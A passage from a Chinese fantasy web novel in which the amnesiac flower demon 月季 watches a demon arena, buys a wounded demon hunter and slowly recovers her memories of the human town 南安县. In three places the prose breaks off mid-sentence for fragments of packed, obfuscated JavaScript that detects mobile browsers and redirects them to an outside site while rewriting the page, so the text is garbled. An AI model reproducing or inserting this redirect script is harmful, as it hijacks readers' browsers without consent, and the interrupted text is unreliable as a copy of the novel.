天一道长并不挪动位 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“如今金网已有破裂之象,腹背受敌,大祸就在旦夕之间。” 这些神巫署秘辛,季月一点也不在乎,也懒得深想。 “说来说去,你怪我不该来?” “人与妖不能共存。” “可你们人间和妖界又有何分别?相互倾轧,相互残害,无时无刻不在争斗。不,你们更虚伪,明明自私自利,却戴上伪善的面具;明明天性凉薄,却假装深情。争名逐利,草菅人命。有眼无珠,残忍嗜杀。你们的每一条规矩都是假象,每一条道理都是谎言!” 她越说越激愤,衣袖鼓起,全身妖气翻腾,汇聚于掌心,“既然如此,什么人与妖不能共存,一定也是假的!” 一股大力如重锤,袭向天一道长。书房屋顶掀起,砖块横飞。他身体晃动两下,竟不挪动位置,哇地一声,吐出一大口黑血。 “你不屑起来动手么?” 天一道长望向头顶,金网又裂开几个小洞。四象柱仍屹立不倒。 季月顺着他目光看去,眼珠一转,冷笑,“看来是站不起来了。” 掌力如汹涌的海潮,一浪接一浪。天一道长挺身硬挨,掌力却不加于他身,转而攻击四象柱。 道长大惊,挥拂尘阻拦。可他重伤未愈,功力大损,又闭关三个昼夜,耗到油尽灯枯,如何能与发怒的季月匹敌。 金网破洞越来越多,终于出现一个大豁口。上方黑云剧烈翻滚,凝聚成一只利爪,向豁口中伸去。 天一道长大吼一声,奋起最后的力气,飞身而上,将身躯填在豁口之中。 恰在此时,季月掌风挥到,利爪向下,一前一后同时击中天一道长。 他愕然瞪大了双眼,随即一声爆响,那副经过千锤百炼的身躯炸裂为无数碎块,黑色血雨滂湃而下,道袍碎片飞舞其间,像无数妖异的雪花。 朱雀柱倾倒,白虎柱翻覆,玄武柱碎裂,青龙柱从中断绝。 季月伸指一划,嗡的一声,金网彻底裂开。 金丝上的光华闪动着消失了。 顶上的黑云轰然散开,弥漫于整个天际。云中伸出两只龙头,一个是蛟龙,一个是小龙。 季月愣了愣,“原来是你们在攻打屏障。” 蛟龙也认出季月,狞笑,“原来你早就等在这里。” 蛟龙和小龙飞到空中,两条巨大的龙身在黑暗中盘旋,遮住了东方刚刚升起的一钩新月。 季月深吸一口气,浑身战栗。 她闻到了风,熟悉的,遥远的,久违的,来自妖界的腥风。 92. 刹那八万春(一) 一连串极悠远,极辽阔的嗡鸣,仿佛海面鲸歌震荡,又像古寺钟声敲响。 水声涛涛,雷声隐隐,须臾,又有温热的阳光照在枝条上,让每一寸叶脉都舒展开。 一对猩红的眼睛缓缓睁开。目之所及,视野高阔,平原浩荡,远山巍峨。 自己何时化的妖身? 月季甩甩头,脑中似乎萦绕着一团迷雾。 她好像出了趟远门,见了许多稀奇古怪的事,走了很长的路,却怎么都回不到家。眼前的山不是浮玉山,扎在土里的根系也感受不到具区泽的水气。 这是哪儿? 越用力回想,头就越痛。 她只得作罢,把根系拔出来抖了抖,枝条撞上什么硬物,回头一看,身后竟耸立着一座木屋。 房顶极高,以妖身走进去都绰绰有余,里面全是月季枝条做成的家具,还飘着淡淡的香气。 自己何时造了这么大一间屋子? 月季下意识地朝东首柜子走去,打开一看,里面果然摆满了陶罐,上排装着水,清亮澄澈,下排装着土,馥郁芬芳。她捧起一罐水,满足地喝了一大口,枝条末端瞬间绽开许多小花。太好喝了! 看来自己不但有了大房子,收藏还颇丰。 她合上柜子,在屋内转了一圈,找到一个花瓣做成的锦囊。打开一看,喜得叫出了声。只见金光闪烁,耀眼生辉,满满都是花蜜。 能修炼出这么多花蜜,看来自己的功力又上一层楼,足以横行妖界了。 她把锦囊收好,施施然绕到屋后,坐在一架巨大的秋千上荡了起来。 阳光和暖,风送花香,刚舒服得闭上了眼睛,一股熟悉的气息扑鼻而来。 月季猛然警觉,一闪身,数十片绿色花瓣飞到,利刃般扎在秋千上,把木板扎成了刺猬。 一只长着绿眼睛的庞然大妖走来,格格娇笑,“今日倒躲得快。” 月季上下打量,见她形态和自己十分相似,也是花妖。脑中迷雾搅动起来,似有什么东西一闪而过。 “你是……绿牡丹!” “怎么,睡迷糊了?” 牡丹枝条伸出,自然而亲昵地挽起一根月季枝条,“斗花大会的事可不能忘。” 月季一凛,突然想起来了。绿牡丹要抓住她折磨一番,带去斗花大会。她不肯,为此打了无数架,二妖势如水火。 怎么如今死对头见面,倒像好姐妹似的? 月季试探道,“我答应跟你去了?” “是啊。难道你想反悔?” 月季将信将疑,“我……为何会答应?” 绿牡丹得意,“自然是被我打服了。” 月季看看自己,躯体完好,法力充沛,还有一大包花蜜在手,没理由输给她。 “不可能!” 绿牡丹跳起来,血盆大口张开,露出尖牙。“你想抵赖?外面众妖可都是见证。不信我拉你出去看。” 月季被她拉住枝条一拽,身不由主地飘了出去。 路面坑坑洼洼,并非平实的泥土,里面还混有许多石子。原野上散布着不少大房子,形态古怪,皆是不同的材质拼接而成。方方正正的楼台之上,盖着龟壳制成的穹顶;大圆柱高耸入云,中间挖空,无数鸟妖探出头来;蛇妖的子子孙孙在雕花窗格里钻进钻出,毒液在白墙上组成难解的图形。 滩涂上,两只巨大的蝶妖正在打架,翅膀上变幻出斑斓的色彩,竞相闪烁。纤长的触角夹起武器,相互投掷。 月季仔细瞧去,他们的武器是一种奇形怪状的萝卜,表面呈白色或浅黄色,头上有须,四周有块根增生。顶端好像有流动的花纹,太小,看不真切。 两只小白萝卜撞在一起,发出尖锐的摩擦声,表皮破裂,双双流出鲜红的汁液。 月季看得有趣,“这是何物?” 绿牡丹却不作答,向蝶妖喊话,“喂,月季前几日是不是打架输给了我?” 蝶妖扔萝卜扔得起劲,并不理会。 绿牡丹伸长枝条,抄起掉在地下的半截萝卜,对准蝶妖翅膀扔过去。萝卜在空中打转,直接撞碎了蝶妖半个翅膀,红色汁液飞溅。 蝶妖身子一歪,栽在地上,露在外面的眼睛朝绿牡丹转了转,射出凶光。 “捣什么乱?没看到这里正打架么!” 绿牡丹龇了龇牙,“臭蛾子,信不信我把你另外半边翅膀也撕下来?” 蝶妖显然是信了。他冲对手使了个眼色,也不见如何振翅,突然双双笔直地飞上天,向着远山而去。 绿牡丹跳脚,“回来!”,伸长枝条拦截。然而蝶翼轻巧地绕过叶片,闪着光没入云头。 月季动了动根系,从土里刨出半截萝卜。表皮完全破裂,汁液流尽,残余的块根还在抽动。 拿近了,还闻到一股淡淡的腥气。 这萝卜,好像不怎么可口。 略一犹豫,绿牡丹一把夺过萝卜,放在嘴里大嚼起来。 边吃边骂,“臭蛾子敷衍我,下次遇到决不饶他。走,去前面看看。” 月季问,“好吃么?” “太小了,还不够塞牙缝。” “这些是萝卜?” 绿牡丹看了她一眼,“你当真睡迷糊了。这些是人。” 月季脑中一阵晕眩,头又疼了起来。 “人……是什么?” 绿牡丹像看傻子似的,“人就是这种白乎乎的小东西,会叫,会跳,会说,会笑。” 她又捡起两个人,往嘴里放,“这几只破了,味道不好,咱们去斗人场,找些卖相好的。” 月季迷迷糊糊地跟着绿牡丹向远山走去。走到半路,才发现那并不是山,而是层层垒起的高台。无数种妖的气息混杂在一起,妖声鼎沸。 她大感迷茫,“如今世道变了?这么多妖聚在一起,竟不打架?” 绿牡丹笑吟吟道,“怎么不打?打架的在最中间呢。” 月季躯干不断拔高,都快钻进云里了,还是看不见里面的景象。高台就像活的一样,始终挡住视线。 “别傻了,这高台是龙筋所制,会拉长的。想看里面,得钻进去。” 绿牡丹让她把身体缩小一百倍,从高台底部的一个豁口里穿了进去。 前后左右都是奇景,月季的两只眼睛都看不过来了。 “鱼妖怎么都离了水,飘在空中?” “蛟龙施了法术,座位每隔一阵会喷水。” “狐妖怎么不吃旁边的兔妖?” “兴许吃人吃饱了。” “对面烧起来了!” “凤凰喷火而已。” “藤妖怎么不闪不避,任由火烧?!” 绿牡丹斜睨她,鄙视道,“你这是怎么了,大惊小怪。” 月季半张着嘴,仰头望去。百层高台,千妖云集,草系、木系、水系、飞禽走兽、甚至上古祥瑞……妖生五百年,见过的妖加起来,都没这么多。 绿牡丹拉着她一层层往上爬,爬了三十几层,才找到一处空隙,在一片叽叽喳喳的鸟妖中间坐下。 座位底下一声爆响,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247149|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白胡子老头凭空冒了出来。 他的两只眼珠滴溜溜打转,掠过绿牡丹,停在月季身上,“要人偶吗?新鲜出炉的人偶。” 月季瞪着他,突然莫名地激动起来,“我见过你!你是个奸商!” 白胡子老头笑道,“你何时见过我?” 月季答不出了。脑中迷雾又开始打转。自己刚才为何会那么说? 看她发愣,绿牡丹插言道,“他一向在这里兜售人偶。喂,看看货色。” 白胡子老头摊开手掌。月季眯眼看去,三只小白萝卜包裹着明艳柔软的丝帛,安静地躺在一块。可能是清洗过的缘故,它们面上的图案干干净净的,月季认出了他们的眼睛,是两个小小的黑点。 她看看人偶,看看老头,“你和这些人,不是长得挺像的么?” 白胡子老头不笑了,胡子高高飘起,“人偶要新鲜采摘,经七七四十九道工序制成,完工后不会乱跑乱动,永远保持生前的模样。我么,会跑会动,还会施法术呢。” 绿牡丹拿起一只人偶,翻了个面,“啧啧,没上次的好看。” 她盘根错节的胸口深处,伸出两根枝条,夹住一只穿绿色丝帛的人偶,给月季看。 月季看了半天,说道,“人偶都长一个样子。” 绿牡丹大怒,“怎会一样?!我这只人偶毛发整齐,面容甜美,表皮娇嫩无比,胸口还有这么大一朵牡丹花。比他手里的美多了!” 白胡子老头瞥了一眼,不情不愿地承认,“的确是上等的材料。若由我动手,能做得更好。” 绿牡丹不理会他,将人偶捧在眼前端详一阵,笑道,“它是我的心头好。” 白胡子老头向月季挤了挤眼睛,转身去和鸟妖搭讪了。 月季呆呆地望向那绿色人偶,试图看出些不同来。看着看着,头又开始隐隐作痛。 她走到高台边缘向下望去,众妖合围中有一小块空地,地面上有斑斑点点的红痕。 一阵腥风吹过,身畔的白云突然变多,云头中传来响亮的龙吟。 绿牡丹收起人偶,兴奋道,“开始了!” 龙筋制成的高台发出有节奏的震颤,巨大的龙身在云中穿梭,时隐时现,龙吟声越来越近,随着一声低吼,龙头上的尖角撕开云层,一只威风凛凛的龙头出现在空中。 月季望了望。这条蛟龙似乎有些眼熟。 龙身盘旋飞舞,每经过一层,都激起众妖一阵喝彩。它从百层高台直冲下地,复而上升,来回几次,带起的狂风把高台都吹得摇摇欲坠。 若非龙筋所制,还真抵御不住这样的狂风。 蛟龙过足了瘾,利爪张开,飞上顶层,隆隆地说道,“今日的斗人会,照例由道长开场。” 众妖高声欢呼。月季心中蓦地一跳。视线绕过龙鳞,穿过云雾,看向地面。那里赫然多了一个小黑点。 蛟龙问,“谁愿上场与之一战?” 四面八方,无数妖喊叫着冲了出来,尖啸阵阵,杀气腾腾。 蛟龙潦草地一甩尾巴,“就你了。” 尾巴指向第四十层高台。一尾红白相间的锦鲤优哉游哉地游了出来。 落选的妖不满地咆哮着。蛟龙充耳不闻,缓缓降到地面,冷笑,“道长,动手吧。” 那渺小的身影像一粒灰尘,被风托起,不断上升。离得近了,身形显露出来。 他果然和小白萝卜、人偶、白胡子老头长一个样子。 月季端详片刻,数不清是第几次起了异样之感。她好像在哪里见过这张脸。 93. 刹那八万春(二) 锦鲤扭动丰腴的身躯,一股瀑布般的水柱对准道长喷下。 他渺小的身体瞬间被水流冲向地面。 群妖鼓噪呐喊,既像喝彩,又像助威。锦鲤得意地摆动尾巴,转着圈向四周致意。 月季注视着地面。水流冲刷过后,那灰尘般的身影又出现了,顽强地向上飞来。 她问绿牡丹,“蛟龙为何叫他道长?” 绿牡丹难得有几分耐心,解释道,“斗人场的人和一般的人不一样,有法力,会打架。有些妖舍不得吃他们,就取个好听的名字,养起来当奴仆。这个道长是蛟龙的奴仆,每场斗人会,都是由他开场。” 月季眯起眼睛,只见那道长摇晃着一根稀疏的毛刷,朝锦鲤冲了过去。 毛刷头上发出一道红光,击中锦鲤的肚子。 锦鲤尖叫一声,鱼鳍炸开,鱼嘴一张,更大的水流喷向道长。 眼看就要击中,他一扭身,居然险险躲开,左手做了个奇怪的动作,一股疾风吹向锦鲤,将它甩向对面高台。 它摔在数十只蚌精中间,最大的那只蚌口一合,将锦鲤尾巴夹断一半。锦鲤吃痛,胡乱扑腾,高台上血肉横飞,乱作一团。 道长并不追击,停在半空,胸口发出呼哧呼哧的声音。 月季还是想不起在哪里见过他。道长看上去比小白萝卜衰老得多,身上包裹的丝帛破了许多口子,脸上也脏兮兮的,若是做成人偶,肯定卖不出去。 他眼里有一种绝望的神色。妖被吃掉以前,往往会露出这样的神色。 锦鲤突然动了,它挣断尾巴,朝道长直扑过来,圆润的肚子正面撞上道长的脸。 道长在空中翻了个面,直坠下去,后背恰好扎在蟹妖伸出来的钳子上。 他身体正中多了个巨大的豁口,红色汁液汩汩流出。锦鲤赶上前,张口欲咬。道长似乎还有意识,毛刷子斜飞而出,正好塞进张大的鱼嘴。 鱼嘴撑得老大,一时咬不下去。 蟹妖嘎嘎冷笑,“没用!看我的。” 另一只蟹钳伸出,干脆利落地斩了道长的脖子。 道长的脑袋掉了下去,比灰尘更渺小,很快就看不见了。 众妖欢呼声中,锦鲤呸地一声,吐掉了嘴里的毛刷子。 绿牡丹眼里闪着兴奋的光,意犹未尽,“结束得太快了。” 蛟龙的声音在上空响起,“真是可惜,道长已死,不能卖了。锦鲤且歇一会,准备下一场。” 众妖交头接耳,尖啸四起。月季一瞥眼,见对面锦鲤和蚌精、蟹妖已经打作一团。 啪,一声爆响,白胡子老头又从她们座位底下钻了出来。 “吃不吃手指饼?” 没等月季问话,绿牡丹就一叠声地喊,“快拿来!若是烤焦了,要你好看!” 白胡子老头笑眯眯地捧出一沓尖叫的小人。它们比先前看到的小白萝卜体型更小,表皮幼白细嫩,脸上的五官小得看不清,月季凑近了,听到一种又尖又细的笑声。 白胡子老头道,“会笑的饼子,形状像人的手指。尝尝?” 绿牡丹抓起几片,塞进嘴里大嚼。笑声一路从她的口腔掉进枝条交缠的身体里。有那么一会儿,她瞪大了眼睛想要挑刺,却没挑出来。饼子的味道实在太好了。 一旁的鸟妖也被吸引,叽叽喳喳围拢过来,你一块我一块,很快就把老头手里的饼子分个精光,边吃边陶醉道,“嫩!比春天早晨的虫子还嫩!” 白胡子老头摊开空空的手掌。绿牡丹给了他四分之一颗花蜜,鸟妖们给了他一捧五彩羽毛。 他笑嘻嘻地看向月季,“卖完喽。你若想吃,等下一批吧。” 月季摇摇头,她并不馋那饼子,只一个劲地想着那又尖又细的笑声,“他们为何这样笑……” “笑,自然是因为开心。” “被吃掉也开心?” “这里所有的妖和人,没有不开心的。” 白胡子老头神秘地眨眨眼睛,噗的一声消失了。 上方,蛟龙的声音又响起来。 “第二场,捉妖师对锦鲤。咦,锦鲤呢?” 月季举目望去,第四十层高台上,锦鲤不见踪影,蚌精的壳一开一合,洒落一串串红白相间的肉屑。 蛟龙鼻子里喷出浊气,嗤笑道,“锦鲤被吃啦。那蚌精上吧。” 地面上又出现一个渺小的影子,像一粒新鲜的灰尘。 绿牡丹嘀咕,“捉妖师,真是个讨嫌的称呼!” 众妖鼓噪不断,杀声震天,显然都和绿牡丹一样,被捉妖师这个称呼激起了敌意。 蚌精砸吧着嘴,把最后一点锦鲤肉吞吃干净,巨壳在空中完全张开,挡住了直射而下的天光。 阴影中,那颗渺小的尘埃飘了起来,扶风而上,飞快地越过几十层高台,身型和外貌逐渐清晰。 他和道长一样面容破败,身上伤痕累累,像被摔打过上千次的布娃娃,手执一截暗淡无光的钝铁,硬朗的五官蒙了一层风霜,眼神深邃幽暗,和那些又叫又笑的小人简直不像同族。 月季仿佛被摄了心神,定定地注视他的脸,无法移开目光。 绿牡丹的声音从很远的地方传来,“这个人好生眼熟。你见过吗?” 脑中迷雾疯狂旋转,回忆挣扎着要破土而出。 捉妖师越飞越近,身形在空中凝滞一瞬,竟笔直地向她冲过来。 当!蚌壳合拢,响声震耳欲聋,带起一股龙卷风,将他卷入漩涡。 捉妖师像陀螺似的打转,眼看就要被送入蚌口,蓦地,风眼里白光一闪,钝铁劈开风势,破了漩涡。 他从风中跌了出来,身形狼狈。蚌精大怒,蚌口一吐,无数泥沙混合着巨大的珍珠像倾盆大雨般落下。 月季早年和一只蚌精打过架,心知泥沙倒还罢了,珍珠可不好对付。道行高深的蚌精结出的珍珠又大又硬,重得足以洞穿身体,一般的妖若被砸中,半天都醒不过来。 捉妖师将钝铁舞成一团白影,阻挡落沙,一边寻找空隙,躲避珍珠。 蚌精嘎嘎怪叫着,愈追愈紧,忽然欺上前去,一口咬下。 捉妖师的身影隐没在蚌壳里。月季胸口莫名一痛。泥沙珍珠齐下,巨大的蚌身在空中连翻了几个跟斗。 众妖狂呼乱吼,庆祝蚌精胜利。 绿牡丹轻轻喟叹,“唉,又不能卖了。” 忽然,蚌精停止了转动,僵在半空。紧闭的口一寸一寸撑开。蚌身溢出一道金光,迅疾无比地画了个半圆。 有那么一瞬,谁都没有动静。随即,啪的一声脆响,蚌身断裂,开合了几百年的蚌壳一分为二,堆积的泥沙和珍珠像瀑布般洒下,在地上堆成小山。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260220|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 捉妖师从小山里爬了出来,手里举着那截钝铁。方才晦暗的边缘此刻闪着金光。 他还活着。 月季不自觉地叫了声好。 绿牡丹瞪她,“你怎么回事?!” 百层台上下,众妖像被点着的炮仗,沸腾着,叫嚣着。他们爱看人斗妖,人斗死了固然可惜,若斗赢了,只会激起更强烈的杀意。 蛟龙在空中吼道,“捉妖师有两下子。孩儿,你上吧。” 地面突然下陷,露出一个洞口,蚌精吐出来的那一堆泥沙珍珠全部掉了进去。从洞中伸出一只龙爪,迅捷无比地在捉妖师腰间合拢,将他带飞起来。 月季趴在高台边缘往下看。这是一条小龙。身上的鳞片还是透明的,头上的角高高竖起。它用龙爪钳制住捉妖师,故意一圈一圈地盘旋,将他的身体擦过高台。皮肉很快碎尽,鲜红的汁液如雨点洒落。 众妖大乐,将那捉妖师当作移动的猎物,你掐一下,我咬一口。小龙放慢速度,任由他们作践。 飞到三十几层的时候,龙爪上突然燃起一捧火,小龙吃痛,爪子一松,猎物滑落。 它应变极快,俯冲下去,一股冰冷的水流喷出,先灭了龙爪上的火,又冲掉了捉妖师手中的钝铁。 众妖欢欣鼓舞,看着再也无力反抗的捉妖师被一圈一圈拖到一百层。 他全身都被红色浸透,胸口被龙爪洞穿,低垂着头,一动不动。 蛟龙从小龙爪中接过猎物,托在掌心,拿到鼻子前嗅了嗅。 “还没死。” 众妖发出各种惊疑的声音。 蛟龙把那具残破的身体向上抛了抛,好让下面的妖看清楚,“还能卖。谁想要?” 众妖喧闹起来。不少妖跃出高台,向蛟龙飞去,争相出价。 绿牡丹嗤笑,“破成这样,做不成人偶了。当奴仆么,又太凶了些。真有妖喜欢这样的?” 一根粗壮的褐色枝条突然刺出,越过几十层高台,抢在众妖前头,从蛟龙爪中卷走了捉妖师。 蛟龙没防备,眼睁睁看着枝条蜿蜒收缩,把它的拍卖品带到一只花妖跟前。 月季仔细端详捉妖师,身上虽然千疮百孔,面容却很平静,双眼紧闭,看不出被摧残的痛苦,好像只是睡着了。 她抢人纯粹是一时冲动,自己也说不清是为什么。 倏地,那双眼睛睁开了,乌黑的眼瞳直愣愣地注视她。 他笑了。 那是一个多么明媚的笑啊!笑意直达眼底,盖住了深入骨髓的绝望与渴求,如同久旱逢雨,永夜初明。 月季不由地怦然心动。他笑起来很好看,比那些尖叫的小人好看多了。 她对蛟龙喊道,“这个人,我要了。” 被截胡的众妖大为不满,从四面八方围拢过来,蠢蠢欲动。 蛟龙居高临下,问道,“你出得起多高的价?” 月季开始掏花蜜,一颗,两颗,三颗…… 蛟龙甩动着龙须计数,眼中的笑意越来越浓。数到第十五颗的时候,其他的出价者皆悻悻退去。 晶莹的花蜜全部落入龙口,绿牡丹在一旁啧啧叹息,“你亏大了。” 枝条移近,两只猩红的眼瞳里映出同一个残破的身形。许多莫名的情绪一闪而过。 月季低声道,“我喜欢。” 94. 刹那八万春(三) 月季从柜子深处搬出两个坛子,将具区泽清冽的水浇在北邙山温暖的土上,搅拌均匀,挖出一个小洞,把捉妖师栽了进去。 他半个身子埋在土里,浑身浸染的红色中间又掺杂了许多泥点子。 月季凑近了看,他的头依旧毫无生气地垂着。 “怎么回事嘛,这可是上好的水土,能滋补养颜,起死回生。” 绿牡丹斜眼,“他是人,又不是花。” “人要怎么养?” “我怎么知道?我只会做人偶。” 绿牡丹说着,又从枝节深处掏出她最爱的那只人偶,来回把玩。 月季看看捉妖师,又看看人偶,身形和五官倒是相似的,可一个残破不堪,一个光鲜亮丽,简直是天壤之别。 “他这个样子,难道没救了吗?” 绿牡丹嘲笑,“劝你别买偏不听,白费了那么多花蜜。” 月季灵机一动,又拿出一颗花蜜,在捉妖师周身摩挲一圈。 花蜜过处,金光大盛,断肢复原,伤口慢慢愈合,头微微抬起,苍白的脸上有了血色。 他睁开眼睛。 月季大喜,戳了戳绿牡丹,“快看,活了!” 捉妖师干裂的嘴唇张开,声音几不可闻,“水……” 月季抓起陶罐,兜头浇了下去。 巨大的水流冲得捉妖师来回摇晃,身体抖得像风中的一片叶子。 “我说的是……喝水……” 月季不解,“这冰川水三十年才集齐一罐,我自己都舍不得喝呢。” 捉妖师歪了歪头,嘶声道,“……你要对着嘴浇。” 这下不光月季吃惊,绿牡丹也凑过来,盯着他,“你的嘴这么小,怎么浇得进去?” 捉妖师不语,只一味地张大嘴巴。 月季施个法术,一线清澈的水流不偏不倚地灌了进去。 他呛了一口,勉强吐出几个字,“如此……舒服多了……” 月季满意道,“太好了,我搬你出去晒晒太阳。” 说着伸出枝条,抬起花盆。 捉妖师身子歪向一边,忙道,“那倒不必!我呆在屋子里就好。” “胡说,不晒太阳怎么行!会死掉的。” “我……受了伤,见不得阳光。” 捉妖师一边说,一边试图从土里爬出来。 一根粗壮的褐色枝条搭上他的头,往下一按,“不要乱动。” 捉妖师半个身子埋进土里,顿时动弹不得。 绿牡丹冷眼旁观,笑道,“你是她的奴仆,得听主人吩咐。” 捉妖师脸庞微微发红,盯着月季,“主人。” 月季看着他乖顺的模样,心情大好,“待你养好了伤,我找点事情给你做。” 绿牡丹接口道,“若伺候得不好,就把你做成人偶,像这只一样。” 她把自己那只人偶抛向高空,又用枝条接住,人偶的头发飘扬,脸上始终保持一动不动的甜美微笑。捉妖师的目光随着人偶小小的身躯一上一下,眼中流露出极痛苦的神色。 月季莫名地心头一颤,脱口而出,“我从前是不是见过你?” 捉妖师缓缓转向她,“在斗人场上,是你救了我。” “在那之前呢?” 脑中的迷雾不停旋转,头又开始隐隐作痛。 为何妖界的模样变了,为何许多事情她都不记得,为何她看向这些渺小的“人”,总觉得似曾相识,为何陌生的情绪倏忽而来,倏忽而去。 捉妖师凝视她良久,梦呓般地说道,“没有从前。” 夜幕低垂,繁星闪烁,月季收拢了全身叶片,根系埋在泥土里,睡得正香。蓦地,耳畔传来一声尖啸。 她睡眼惺忪地爬起来。自家房子隔壁有一座更大的房子,是绿牡丹所建。循声而去,只见屋内明烛高烧,牡丹枝条摇摆,影子映在地下,像无数条蠕动的长蛇,叶片尖端全部炸开,绿眼睛发出凶光,正在大发雷霆。 “敢来偷我的东西!胆大包天!” 两根牡丹枝条把什么东西缠住了。月季走近一看,正是她白天用十五颗花蜜买来的捉妖师。 他什么时候从花盆里逃出去的?! 捉妖师合身扑在绿牡丹最爱的那只人偶上,两条手臂死死抱住人偶的腰。绿牡丹想把人偶抢过来,又怕太用力扯碎了,便抡起枝节暴击他周身各处。 身上刚刚愈合的伤口纷纷裂开,一道道刺目的深痕割破血肉,可他偏不松手。 月季叫道,“住手!” 绿牡丹道,“听见没?你主人叫你放开!” “我是让你住手!” 绿牡丹转头,“月季你疯了?这奴隶半夜溜进来偷我的东西,你还想护着他?” “买他花了我那么多花蜜,打死了算谁的?” 绿牡丹怒气冲天,“好啊,我看你是存心想打架,那就比划比划。” 牡丹枝条狠狠甩出,无数花瓣飞向月季,月季哼了一声,如法炮制,红绿两色的花瓣撞在一起,碎成粉末,屋子里顿时下起漫天花雨。 和绿牡丹纠缠了近百年,打架是家常便饭,一招一式根本不用思考。二妖打得兴发,在屋子里翻翻滚滚,枝条叶片齐飞。房屋根基动摇,四面墙壁发出嘎吱嘎吱的哀嚎。 捉妖师抓着枝条,在空中甩开甩去,高声叫道,“别打了,听我一言!” 绿牡丹一瞥眼,见他仍抱着人偶不放,怒气更甚,收紧枝条,要一举捏死他。 一片月季花瓣从刁钻的角度飞近,截断了半根枝条。捉妖师和人偶齐齐掉落,被侯在下方的叶片裹住。 绿牡丹尖啸一声,枝条上扬,把屋顶打穿了一个大洞。带起的疾风瞬间吹灭了蜡烛。 银色清辉倾泻而下,满屋流光。二妖都是微微一怔,停了动作。 一轮满月高悬天际,看起来出奇地小。 捉妖师抓住机会,喊道,“我不是有意偷窃。这人偶是我死去的表妹,请你们让她入土为安!” 二妖一愣,根本听不懂他的话。 月季问,“表妹是什么?” 捉妖师小心地把人偶平放在地。方才的剧斗并没损坏她的面容,她仍在安静地微笑。 “她是我唯一的家人,被法术冻结了躯体,维持住生前的形貌。可她已经过世了。求求你们,让我把她安葬了。” 绿牡丹道,“人偶本就是用来玩的。安葬是什么?” “埋在地下,归于尘土。” “那什么时候拿出来?” “永不。” “凭什么?这可是我费尽心思做的人偶!” 捉妖师哀求地看向月季,“主人……” 月季微微有气,“你惹事生非,被吃掉也是活该。” 绿牡丹道,“我看,应该把你也做成人偶,埋在地下!” 捉妖师一只手抱着人偶不放,另一只手抓过一根月季枝条,“你仔细看看她的脸,你是认得她的啊!” “我什么时候认得她了?” “……很久以前。” 月季端详那人偶细细的眉眼,微微上翘的嘴唇,似曾相识的感觉再次袭来。 绿牡丹威胁道,“你以为胡言乱语几句,我们就会放你走?” 捉妖师道,“那你回想一下,何时得到这只人偶?” 绿牡丹半张着嘴,愣在原地。 “我……一向都带在身上的……” 她从胸口深处又掏出几只人偶,披红挂绿,形态各异,“和这些一起。” 月季问,“这些都是从白胡子老头手里买的?” 绿牡丹迟疑,“想不起来了……” 月季喃喃道,“我也有很多事情想不起来。” 捉妖师道,“跟我去个地方,你们会想起一切。” 绿牡丹眼里精光一闪,“你休想搞鬼!” 捉妖师道,“我没有那么大的本事……主人,你要捏死我轻而易举,难道还怕我逃跑么?” 这倒是实情。月季脑中的迷雾似乎揭开一个角,她急于把一切弄清楚。 她用枝条卷住捉妖师和人偶,示意道,“前方带路。” 他们走在凹凸不平的地面上,经过各种妖建造的奇怪住所,迎着如雷的鼾声和隐藏在暗处的幽深目光,向月亮落下的方向前行。捉妖师对地形很熟悉,领着他们东一转,西一绕,走出一条蜿蜒的路线。 又行一段,地势变高,他们攀上一座山丘,在低矮的树丛中钻进钻出。 月季已经完全迷了路。绿牡丹也不耐烦道,“小贼,你是想绕晕我们吧!” “到了。” 前方空地上,突兀地立着两块方方正正的石头,表面花纹斑驳。捉妖师求月季放下他,抱着人偶跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264032|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在石头前。 “爹,娘,姨母,姨丈,孩儿没有护住表妹,罪该万死……我把妙仪带来了,让她陪着你们,她就不会害怕,也不会寂寞了……” 他喉头哽住,说不下去了。 月季缩小身体,去看石头上的花纹。那扭曲的线条落入眼中,不知怎的,竟能明白其意。 沈公柏玉府君偕室孟氏孺人衣冠冢孝男灵均谨祀 头痛得几欲裂开,眼前景象时而清楚,时而模糊。依稀见到捉妖师转过身来,惨然望向她,“这里不是妖界,是南安县。” 南安县三字一出,仿佛一道惊雷,在耳畔炸响,脑中迷雾顿时消散。回忆如同翻江倒海奔涌而来,让她透不过气来。 南安县……当然是南安县! 她厌烦了妖界的打打杀杀,卖掉全部家当,从白胡子老头手里换来铜镜,以为能去人间过躺平的日子。 不料穿过铜镜到的第一个地方,就是南安县。那里不但有妖,还有专职捉妖的道士。那里的人们对妖好奇畏惧,又喊打喊杀。 她隐藏身份,结识了沈灵均,更为了帮他捉妖,来回奔波,做了许多可笑的事。到最后,被他识破身份,打得半死。 后来……后来…… 